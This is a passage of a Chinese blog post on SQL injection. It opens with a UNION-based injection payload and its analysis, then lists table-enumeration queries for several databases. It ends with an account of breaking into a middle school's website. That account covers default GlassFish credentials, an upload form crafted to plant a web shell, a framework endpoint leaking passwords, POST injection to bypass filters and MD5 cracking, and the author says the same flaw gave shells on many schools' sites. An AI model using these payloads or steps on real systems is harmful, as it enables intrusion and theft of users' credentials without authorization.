SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)--
复制代码

enter image description here

/*[h4ckinger]asim[/h4ckinger] 这段SQL看不出来有什么实际意义,没有对数据库进行任何操做。对应的SQL是:

select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)*/
复制代码

没用的东西无论下一条也是点击start后的最后一条SQL同上。 那么咱们能够知道点击注入点检测程序一共作了:

一、是否存在注入点
二、注入点的字段数量
三、注入点获取Mysql的版本信息、用户信息、数据库名等。
四、是否有file_priv也就是是否可以读写硬盘文件。
复制代码

程序逻辑分析:

一、获取URL是否存在
二、获取URL地址并进行参数分析
三、提交and 1=1 and 1=2进行布尔判断,获取服务器的响应码判断是否存在SQL注入。
四、提交占位符获取注入点查询的字段数尝试order by 注入。
五、提交MYSQL自带的函数获取MYSQL版本信息、用户信息、数据库名等信息。
六、检测是否有load_file和outfile、dumpfile等权限。
复制代码

SQL注入之获取全部用户表:

一、Mssql:select name from master.dbo.sysdatabase
二、Mysql:show databases
三、Sybase:SELECT a.name,b.colid,b.name,c.name,b.usertype,b.length,CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text FROM sysobjects a,syscolumns b,systypes c,syscomments d WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U' --AND a.name='t_user' AND b.cdefault*=d.id ORDER BY a.name,b.colid
四、Oracle:SELECT * FROM ALL_TABLES
复制代码


0x03 简单实战


本次实战并无什么难度,感受找一个能把前面的都串起来的demo太难了。本次实战的目标是某中学,网站使用JavaWeb开发。去年的时候经过POST注入绕过了GET的防注入检测。对其和开发商的官网都作了SQL注入检测,而后加了开发商的QQ通知修补。

enter image description here

前不久再去测试的时候发现漏洞已经被修补了,围观了下开发商后发现其用的是glassfish:

enter image description here

enter image description here

尝试从服务器弱口令入口了入手可是失败了glassfish的默认管理账号是admin密码是adminadmin,若是能过登陆glassfish的后台能够直接部署一个war去getshell。  enter image description here

因为没有使用如Struts2之类的MVC框架因此google了下他的jsp,-News参数表示不但愿在搜索结果中包含带有-News的结果。  enter image description here

经过GOOGLE找到一处flash上传点,值得注意的是在项目当中上传下载通常做为一个共有的业务,因此可能存在一致性也就是此处要是上传不成功恐怕到了后台也不会成功。企图上传shell:

enter image description here

上传文件:

由于tamper data 无法拦截flash请求,因此经过chrome的拦截记录开始构建上传:

<html><head>
<title></title></head>
<body>
<form enctype="multipart/form-data" action="http://www.x.cn/webschool/xheditor/upload.jsp?moduleId=98&limitExt=all&sid=0" method="post">
<input name="filedata" type="file"><br>
<input type="submit" value="上传文件">
</form>
</body>
</html>
复制代码

enter image description here

好吧支持txt.html.exe什么的先来个txt:  enter image description here

通常来讲我比较关注逻辑漏洞,好比找回密码,查看页面源码后还真就发现了点猫腻有DWR框架。

DWR框架:

DWR就是一个奇葩,人家都是想着怎么样去解耦,他倒好直接把js和后端java给耦合在一块儿了。DWR(Direct Web Remoting)是一个用于改善web页面与Java类交互的远程服务器端Ajax开源框架,能够帮助开发人员开发包含AJAX技术的网站。它能够容许在浏览器里的代码使用运行在WEB服务器上的JAVA方法,就像它就在浏览器里同样。

enter image description here

再次利用chrome抓网络请求,竟然发现后台把用户的密码都给返回了,这不科学啊:  enter image description here

与此同时我把google到的动态链接都打开,比较轻易的就发现了一处SQL注入漏洞,依旧用POST提交吧,以避免他的防注入又把我拦截下来了(再次提醒普通的防注入广泛防的是GET请求,POST过去不少防注入都傻逼了,Jsp里面request.getParameter("parameter")GET和POST方式提交的参数都能过获取到的):  enter image description here

破MD5,进后台改上传文件扩展名限制拿shell都一鼓作气了:

enter image description here

GETSHELL:  enter image description here

可能实战写的有点简单了一点,凑合这看吧。因为这是一套通用系统,很轻易的经过该系统漏洞拿到不少学校的shell,截图中可能有漏点,但愿看文章的请勿对其进行攻击!

相关文章
相关标签/搜索